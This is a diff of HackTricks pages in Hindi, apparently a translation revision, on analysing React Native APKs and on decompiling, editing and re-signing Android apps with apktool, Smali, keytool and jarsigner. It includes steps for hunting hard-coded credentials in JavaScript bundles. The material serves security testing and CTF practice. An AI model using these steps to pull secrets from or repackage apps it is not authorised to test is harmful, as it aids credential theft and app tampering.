Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks को समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
# React Native एप्लिकेशन विश्लेषण
|
# React Native Application Analysis
|
||||||
|
|
||||||
यह सत्यापित करने के लिए कि एप्लिकेशन React Native framework पर निर्मित किया गया है, निम्नलिखित चरणों का पालन करें:
|
यह पुष्टि करने के लिए कि एप्लिकेशन React Native ढांचे पर बनाया गया था, इन चरणों का पालन करें:
|
||||||
|
|
||||||
1. APK फ़ाइल का नाम एक zip एक्सटेंशन के साथ बदलें और इसे नए फ़ोल्डर में निकालें उपयोग करके `cp com.example.apk example-apk.zip` और `unzip -qq example-apk.zip -d ReactNative` कमांड का उपयोग करें।
|
1. APK फ़ाइल का नाम बदलकर zip एक्सटेंशन दें और इसे एक नए फ़ोल्डर में निकालें, कमांड का उपयोग करके `cp com.example.apk example-apk.zip` और `unzip -qq example-apk.zip -d ReactNative`।
|
||||||
|
|
||||||
2. नए बनाए गए ReactNative फ़ोल्डर में जाएं और एसेट्स फ़ोल्डर का पता लगाएं। इस फ़ोल्डर के अंदर, आपको फ़ाइल `index.android.bundle` मिलनी चाहिए, जिसमें React JavaScript मिनीफाइड फ़ॉर्मेट में होता है।
|
2. नए बनाए गए ReactNative फ़ोल्डर में जाएं और assets फ़ोल्डर को खोजें। इस फ़ोल्डर के अंदर, आपको फ़ाइल `index.android.bundle` मिलनी चाहिए, जिसमें React JavaScript संकुचित प्रारूप में है।
|
||||||
|
|
||||||
3. जावास्क्रिप्ट फ़ाइल के लिए खोजने के लिए `find . -print | grep -i ".bundle$"` कमांड का उपयोग करें।
|
3. JavaScript फ़ाइल खोजने के लिए कमांड का उपयोग करें `find . -print | grep -i ".bundle$"`।
|
||||||
|
|
||||||
जावास्क्रिप्ट कोड को और अधिक विश्लेषित करने के लिए, एक फ़ाइल नामक `index.html` बनाएं और उसी निर्देशिका में निम्नलिखित कोड के साथ:
|
JavaScript कोड का और विश्लेषण करने के लिए, उसी निर्देशिका में `index.html` नामक एक फ़ाइल बनाएं जिसमें निम्नलिखित कोड हो:
|
||||||
```html
|
```html
|
||||||
<script src="./index.android.bundle"></script>
|
<script src="./index.android.bundle"></script>
|
||||||
```
|
```
|
||||||
You can upload the file to [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) या निम्नलिखित चरणों का पालन करें:
|
आप फ़ाइल को [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) पर अपलोड कर सकते हैं या इन चरणों का पालन करें:
|
||||||
|
|
||||||
1. Google Chrome में `index.html` फ़ाइल खोलें।
|
1. Google Chrome में `index.html` फ़ाइल खोलें।
|
||||||
|
|
||||||
2. **OS X के लिए Command+Option+J** या **Windows के लिए Control+Shift+J** दबाकर डेवलपर टूलबार खोलें।
|
2. **OS X के लिए Command+Option+J** या **Windows के लिए Control+Shift+J** दबाकर Developer Toolbar खोलें।
|
||||||
|
|
||||||
3. डेवलपर टूलबार में "Sources" पर क्लिक करें। आपको एक JavaScript फ़ाइल दिखाई देनी चाहिए जो फ़ोल्डर और फ़ाइलों में विभाजित है, जो मुख्य बंडल बनाती है।
|
3. Developer Toolbar में "Sources" पर क्लिक करें। आपको एक JavaScript फ़ाइल दिखाई देनी चाहिए जो फ़ोल्डरों और फ़ाइलों में विभाजित है, जो मुख्य बंडल बनाती है।
|
||||||
|
|
||||||
यदि आपको `index.android.bundle.map` नाम की फ़ाइल मिलती है, तो आप स्रोत कोड को एक अनमिनीफाइड फ़ॉर्मेट में विश्लेषित कर सकेंगे। मैप फ़ाइलें स्रोत मैपिंग को समेटती हैं, जिससे आप मिनीफाइड पहचानकर्ताओं को मैप कर सकते हैं।
|
यदि आप `index.android.bundle.map` नामक फ़ाइल पाते हैं, तो आप अनमिनिफाइड प्रारूप में स्रोत कोड का विश्लेषण कर सकेंगे। मैप फ़ाइलों में स्रोत मैपिंग होती है, जो आपको मिनिफाइड पहचानकर्ताओं को मैप करने की अनुमति देती है।
|
||||||
|
|
||||||
संवेदनशील क्रेडेंशियल्स और एंडपॉइंट्स के लिए खोजने के लिए निम्नलिखित चरणों का पालन करें:
|
संवेदनशील क्रेडेंशियल्स और एंडपॉइंट्स की खोज करने के लिए, इन चरणों का पालन करें:
|
||||||
|
|
||||||
1. जावास्क्रिप्ट कोड को विश्लेषण करने के लिए संवेदनशील कीवर्ड्स की पहचान करें। रिएक्ट नेटिव एप्लिकेशन अक्सर फायरबेस, AWS S3 सेवा एंडपॉइंट्स, निजी कुंजी आदि जैसी तीसरी पक्ष सेवाओं का उपयोग करते हैं।
|
1. JavaScript कोड का विश्लेषण करने के लिए संवेदनशील कीवर्ड की पहचान करें। React Native अनुप्रयोग अक्सर Firebase, AWS S3 सेवा एंडपॉइंट्स, निजी कुंजी आदि जैसे तृतीय-पक्ष सेवाओं का उपयोग करते हैं।
|
||||||
|
|
||||||
2. इस विशेष मामले में, एप्लिकेशन का डायलॉगफ़्लो सेवा का उपयोग करने का पैटर्न खोजें।
|
2. इस विशेष मामले में, अनुप्रयोग को Dialogflow सेवा का उपयोग करते हुए देखा गया। इसके कॉन्फ़िगरेशन से संबंधित पैटर्न की खोज करें।
|
||||||
|
|
||||||
3. यह भाग्यशाली था कि जासूसी प्रक्रिया के दौरान जावास्क्रिप्ट कोड में संवेदनशील हार्ड-कोडेड क्रेडेंशियल्स मिले।
|
3. यह सौभाग्य की बात थी कि पुनः खोज प्रक्रिया के दौरान JavaScript कोड में संवेदनशील हार्ड-कोडेड क्रेडेंशियल्स पाए गए।
|
||||||
|
|
||||||
## संदर्भ
|
## संदर्भ
|
||||||
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** हैकिंग ट्रिक्स को **HackTricks** और **HackTricks Cloud** github रेपो में **PR जमा करके**।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,97 +1,98 @@
|
||||||
# Smali - डिकंपाइलिंग/\[संशोधित\]/कंपाइलिंग
|
# Smali - Decompiling/\[Modifying]/Compiling
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
कभी-कभी एप्लिकेशन कोड में परिवर्तन करना दिलचस्प हो सकता है ताकि आप छुपी जानकारी तक पहुंच सकें (शायद अच्छी तरह से ओबफस्केटेड पासवर्ड या फ्लैग्स). फिर, apk को डिकंपाइल करना, कोड में परिवर्तन करना और पुनः कंपाइल करना दिलचस्प हो सकता है।
|
कभी-कभी यह दिलचस्प होता है कि आप एप्लिकेशन कोड को संशोधित करें ताकि आप छिपी हुई जानकारी तक पहुँच सकें (शायद अच्छी तरह से छिपे हुए पासवर्ड या झंडे)। फिर, यह दिलचस्प हो सकता है कि आप apk को डिकंपाइल करें, कोड को संशोधित करें और फिर से संकलित करें।
|
||||||
|
|
||||||
**ऑपकोड संदर्भ:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
|
**Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
|
||||||
|
|
||||||
## तेज तरीका
|
## Fast Way
|
||||||
|
|
||||||
**Visual Studio Code** और [APKLab](https://github.com/APKLab/APKLab) एक्सटेंशन का उपयोग करके आप **स्वचालित रूप से डिकंपाइल कर सकते हैं**, कोड में परिवर्तन कर सकते हैं, **पुनः कंपाइल कर सकते हैं**, एप्लिकेशन को साइन कर सकते हैं और इंस्टॉल कर सकते हैं बिना किसी कमांड को चलाए।
|
**Visual Studio Code** और [APKLab](https://github.com/APKLab/APKLab) एक्सटेंशन का उपयोग करके, आप बिना किसी कमांड को निष्पादित किए एप्लिकेशन को **स्वचालित रूप से डिकंपाइल**, संशोधित, **संकलित**, साइन और इंस्टॉल कर सकते हैं।
|
||||||
|
|
||||||
एक और **स्क्रिप्ट** जो इस कार्य को बहुत आसान बनाता है, वह है [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
|
एक और **स्क्रिप्ट** जो इस कार्य को बहुत आसान बनाती है वह है [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
|
||||||
|
|
||||||
## APK को डिकंपाइल करें
|
## Decompile the APK
|
||||||
|
|
||||||
APKTool का उपयोग करके आप **smali कोड और संसाधनों** तक पहुंच सकते हैं:
|
APKTool का उपयोग करके आप **smali कोड और संसाधनों** तक पहुँच सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
apktool d APP.apk
|
apktool d APP.apk
|
||||||
```
|
```
|
||||||
यदि **apktool** आपको कोई त्रुटि देता है, तो [**नवीनतम संस्करण** इंस्टॉल करने](https://ibotpeaches.github.io/Apktool/install/) का प्रयास करें।
|
यदि **apktool** आपको कोई त्रुटि देता है, तो [**नवीनतम संस्करण**](https://ibotpeaches.github.io/Apktool/install/) स्थापित करने का प्रयास करें।
|
||||||
|
|
||||||
कुछ **रोचक फ़ाइलें जिन्हें आपको देखना चाहिए** हैं:
|
कुछ **दिलचस्प फ़ाइलें जिन पर आपको ध्यान देना चाहिए**:
|
||||||
|
|
||||||
* _res/values/strings.xml_ (और res/values/\* के सभी xml)
|
* _res/values/strings.xml_ (और सभी xmls जो res/values/* के अंदर हैं)
|
||||||
* _AndroidManifest.xml_
|
* _AndroidManifest.xml_
|
||||||
* किसी भी फ़ाइल जिसका एक्सटेंशन _.sqlite_ या _.db_ है।
|
* कोई भी फ़ाइल जिसका एक्सटेंशन _.sqlite_ या _.db_ है।
|
||||||
|
|
||||||
यदि `apktool` में **एप्लिकेशन को डिकोड करने में समस्या** है, तो [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) पर जांच करें या तरीका आज़माएं **`-r`** (संसाधनों को डिकोड न करें)। फिर, यदि समस्या स्रोत कोड में नहीं थी बल्कि संसाधन में थी, तो आपको समस्या नहीं होगी (आप संसाधनों को भी डिकोड नहीं करेंगे)।
|
यदि `apktool` को **ऐप्लिकेशन को डिकोड करने में समस्याएँ हैं**, तो [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) पर एक नज़र डालें या **`-r`** (संसाधनों को डिकोड न करें) तर्क का उपयोग करने का प्रयास करें। फिर, यदि समस्या किसी संसाधन में थी और स्रोत कोड में नहीं, तो आपको समस्या नहीं होगी (आप संसाधनों को भी डिकंपाइल नहीं करेंगे)।
|
||||||
|
|
||||||
## स्माली कोड बदलें
|
## Smali कोड बदलें
|
||||||
|
|
||||||
आप **निर्देशों** को **बदल सकते हैं**, कुछ चर **मान** को बदल सकते हैं या **नए निर्देश** जोड़ सकते हैं। मैं [**VS Code**](https://code.visualstudio.com) का उपयोग करके स्माली कोड बदलता हूँ, फिर आप **smalise एक्सटेंशन** इंस्टॉल करें और संपादक आपको बताएगा कि कोई **निर्देश गलत** है।\
|
आप **निर्देशों को बदल सकते हैं**, कुछ चर के **मान** को बदल सकते हैं या **नए निर्देश जोड़ सकते हैं**। मैं Smali कोड को [**VS Code**](https://code.visualstudio.com) का उपयोग करके बदलता हूँ, फिर आप **smalise एक्सटेंशन** स्थापित करते हैं और संपादक आपको बताएगा कि कोई **निर्देश गलत है**।\
|
||||||
कुछ **उदाहरण** यहाँ मिल सकते हैं:
|
कुछ **उदाहरण** यहाँ मिल सकते हैं:
|
||||||
|
|
||||||
* [स्माली बदलाव उदाहरण](smali-changes.md)
|
* [Smali परिवर्तन उदाहरण](smali-changes.md)
|
||||||
* [Google CTF 2018 - क्या हम एक खेल खेलें?](google-ctf-2018-shall-we-play-a-game.md)
|
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
|
||||||
|
|
||||||
या आप [**नीचे कुछ स्माली बदलाव का विवरण देखें**](smali-changes.md#modifying-smali)।
|
या आप [**नीचे कुछ Smali परिवर्तनों की व्याख्या की जाँच कर सकते हैं**](smali-changes.md#modifying-smali)।
|
||||||
|
|
||||||
## APK को पुनः संकलित करें
|
## APK को पुनः संकलित करें
|
||||||
|
|
||||||
कोड को संशोधित करने के बाद आप इसे फिर से **संकलित** कर सकते हैं:
|
कोड को संशोधित करने के बाद आप कोड को **पुनः संकलित** कर सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
apktool b . #In the folder generated when you decompiled the application
|
apktool b . #In the folder generated when you decompiled the application
|
||||||
```
|
```
|
||||||
यह **नया APK** _**dist**_ फ़ोल्डर **कंपाइल** करेगा।
|
यह **dist** फ़ोल्डर के _**भीतर**_ नए APK को **संकलित** करेगा।
|
||||||
|
|
||||||
अगर **apktool** एक **त्रुटि** फेंकता है, तो [**नवीनतम संस्करण** इंस्टॉल](https://ibotpeaches.github.io/Apktool/install/) करने का प्रयास करें।
|
यदि **apktool** एक **त्रुटि** फेंकता है, तो [**नवीनतम संस्करण**](https://ibotpeaches.github.io/Apktool/install/) स्थापित करने का प्रयास करें।
|
||||||
|
|
||||||
### **नया APK को साइन करें**
|
### **नए APK पर हस्ताक्षर करें**
|
||||||
|
|
||||||
फिर, आपको एक **कुंजी उत्पन्न** करनी होगी (आपसे पासवर्ड और कुछ जानकारी के लिए पूछा जाएगा जिसे आप यादृच्छिक रूप से भर सकते हैं):
|
फिर, आपको एक **की** **जनरेट** करने की आवश्यकता है (आपसे एक पासवर्ड और कुछ जानकारी मांगी जाएगी जिसे आप यादृच्छिक रूप से भर सकते हैं):
|
||||||
```bash
|
```bash
|
||||||
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
|
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
|
||||||
```
|
```
|
||||||
अंत में, **नए APK को साइन करें**:
|
अंत में, **साइन** करें नए APK को:
|
||||||
```bash
|
```bash
|
||||||
jarsigner -keystore key.jks path/to/dist/* <your-alias>
|
jarsigner -keystore key.jks path/to/dist/* <your-alias>
|
||||||
```
|
```
|
||||||
### नई एप्लिकेशन को अनुकूलित करें
|
### नए एप्लिकेशन का अनुकूलन
|
||||||
|
|
||||||
**zipalign** एक आर्काइव समरेखन उपकरण है जो Android एप्लिकेशन (APK) फ़ाइलों को महत्वपूर्ण अनुकूलन प्रदान करता है। [अधिक जानकारी यहाँ](https://developer.android.com/studio/command-line/zipalign)।
|
**zipalign** एक आर्काइव संरेखण उपकरण है जो Android एप्लिकेशन (APK) फ़ाइलों के लिए महत्वपूर्ण अनुकूलन प्रदान करता है। [यहां अधिक जानकारी](https://developer.android.com/studio/command-line/zipalign)।
|
||||||
```bash
|
```bash
|
||||||
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
|
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
|
||||||
zipalign -v 4 infile.apk
|
zipalign -v 4 infile.apk
|
||||||
```
|
```
|
||||||
### **नए APK को साइन करें (फिर से?)**
|
### **नए APK पर हस्ताक्षर करें (फिर से?)**
|
||||||
|
|
||||||
यदि आप [**apksigner**](https://developer.android.com/studio/command-line/) का उपयोग करना **पसंद** करते हैं जब jarsigner की बजाय, तो आपको zipaling के साथ **ऑप्टिमाइजेशन लागू करने के बाद apk को साइन करना चाहिए**। लेकिन ध्यान दें कि आपको केवल एक बार **एप्लिकेशन को साइन करना है** jarsigner के साथ (zipalign से पहले) या apksigner के साथ (zipalign के बाद)।
|
यदि आप [**apksigner**](https://developer.android.com/studio/command-line/) का उपयोग करना **पसंद करते हैं** बजाय jarsigner के, **तो आपको apk पर हस्ताक्षर करना चाहिए** zipalign के साथ **अनुकूलन लागू करने के बाद**। लेकिन ध्यान दें कि आपको केवल **एक बार एप्लिकेशन पर हस्ताक्षर करना है** jarsigner के साथ (zipalign से पहले) या aspsigner के साथ (zipalign के बाद)।
|
||||||
```bash
|
```bash
|
||||||
apksigner sign --ks key.jks ./dist/mycompiled.apk
|
apksigner sign --ks key.jks ./dist/mycompiled.apk
|
||||||
```
|
```
|
||||||
## स्माली में परिवर्तन
|
## Smali को संशोधित करना
|
||||||
|
|
||||||
निम्नलिखित Hello World जावा कोड के लिए:
|
निम्नलिखित Hello World Java कोड के लिए:
|
||||||
```java
|
```java
|
||||||
public static void printHelloWorld() {
|
public static void printHelloWorld() {
|
||||||
System.out.println("Hello World")
|
System.out.println("Hello World")
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
यहाँ स्माली कोड होगा:
|
Smali कोड होगा:
|
||||||
```java
|
```java
|
||||||
.method public static printHelloWorld()V
|
.method public static printHelloWorld()V
|
||||||
.registers 2
|
.registers 2
|
||||||
|
@ -101,11 +102,13 @@ invoke-virtual {v0,v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
|
||||||
return-void
|
return-void
|
||||||
.end method
|
.end method
|
||||||
```
|
```
|
||||||
|
The Smali instruction set is available [here](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
|
||||||
|
|
||||||
### Light Changes
|
### Light Changes
|
||||||
|
|
||||||
### एक फ़ंक्शन के भीतर एक चर के प्रारंभिक मानों को संशोधित करें
|
### किसी फ़ंक्शन के अंदर एक चर के प्रारंभिक मानों को संशोधित करें
|
||||||
|
|
||||||
कुछ चर फ़ंक्शन की शुरुआत में _const_ ऑपकोड का उपयोग करके परिभाषित किए जाते हैं, आप इसके मानों को संशोधित कर सकते हैं, या आप नए परिभाषित कर सकते हैं:
|
कुछ चर फ़ंक्शन की शुरुआत में _const_ ऑपकोड का उपयोग करके परिभाषित किए जाते हैं, आप इसके मानों को संशोधित कर सकते हैं, या आप नए मान परिभाषित कर सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
#Number
|
#Number
|
||||||
const v9, 0xf4240
|
const v9, 0xf4240
|
||||||
|
@ -113,7 +116,7 @@ const/4 v8, 0x1
|
||||||
#Strings
|
#Strings
|
||||||
const-string v5, "wins"
|
const-string v5, "wins"
|
||||||
```
|
```
|
||||||
### मूल ऑपरेशन्स
|
### बुनियादी संचालन
|
||||||
```bash
|
```bash
|
||||||
#Math
|
#Math
|
||||||
add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0
|
add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0
|
||||||
|
@ -147,11 +150,19 @@ move-result-object v1 #Move to v1
|
||||||
const-string v5, "wins" #Save "win" inside v5
|
const-string v5, "wins" #Save "win" inside v5
|
||||||
invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I #Logging "Wins: <num>"
|
invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I #Logging "Wins: <num>"
|
||||||
```
|
```
|
||||||
### सिफ़्टिंग
|
Recommendations:
|
||||||
|
|
||||||
ध्यान दें कि फ़ंक्शन की शुरुआत में _.locals_ की संख्या में 3 जोड़ना न भूलें।
|
* यदि आप फ़ंक्शन के अंदर घोषित वेरिएबल्स का उपयोग करने जा रहे हैं (declared v0,v1,v2...) तो इन लाइनों को _.local \<number>_ और वेरिएबल्स के घोषणाओं (_const v0, 0x1_) के बीच रखें।
|
||||||
|
* यदि आप फ़ंक्शन के कोड के बीच में लॉगिंग कोड डालना चाहते हैं:
|
||||||
|
* घोषित वेरिएबल्स की संख्या में 2 जोड़ें: उदाहरण: _.locals 10_ से _.locals 12_।
|
||||||
|
* नए वेरिएबल्स पहले से घोषित वेरिएबल्स के अगले नंबर होने चाहिए (इस उदाहरण में _v10_ और _v11_ होना चाहिए, याद रखें कि यह v0 से शुरू होता है)।
|
||||||
|
* लॉगिंग फ़ंक्शन के कोड को बदलें और _v10_ और _v11_ का उपयोग करें _v5_ और _v1_ के बजाय।
|
||||||
|
|
||||||
यह कोड **फ़ंक्शन के बीच में** डालने के लिए तैयार है (**जरूरी होने पर** **वेरिएबल्स** की संख्या में **परिवर्तन** करें)। यह **this.o** का **मान** लेगा, इसे **स्ट्रिंग** में **परिवर्तित** करेगा और फिर इसके मान के साथ एक **टोस्ट** बनाएगा।
|
### Toasting
|
||||||
|
|
||||||
|
याद रखें कि फ़ंक्शन की शुरुआत में _.locals_ की संख्या में 3 जोड़ें।
|
||||||
|
|
||||||
|
यह कोड **फ़ंक्शन के बीच में** डाले जाने के लिए तैयार है (**ज़रूरत के अनुसार** **वेरिएबल्स** की **संख्या** बदलें)। यह **this.o** का **मान** लेगा, **इसे** **String** में **परिवर्तित** करेगा और फिर इसके मान के साथ एक **toast** **बनाएगा**।
|
||||||
```bash
|
```bash
|
||||||
const/4 v10, 0x1
|
const/4 v10, 0x1
|
||||||
const/4 v11, 0x1
|
const/4 v11, 0x1
|
||||||
|
@ -163,16 +174,17 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
|
||||||
move-result-object v12
|
move-result-object v12
|
||||||
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
|
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ</strong>!</summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
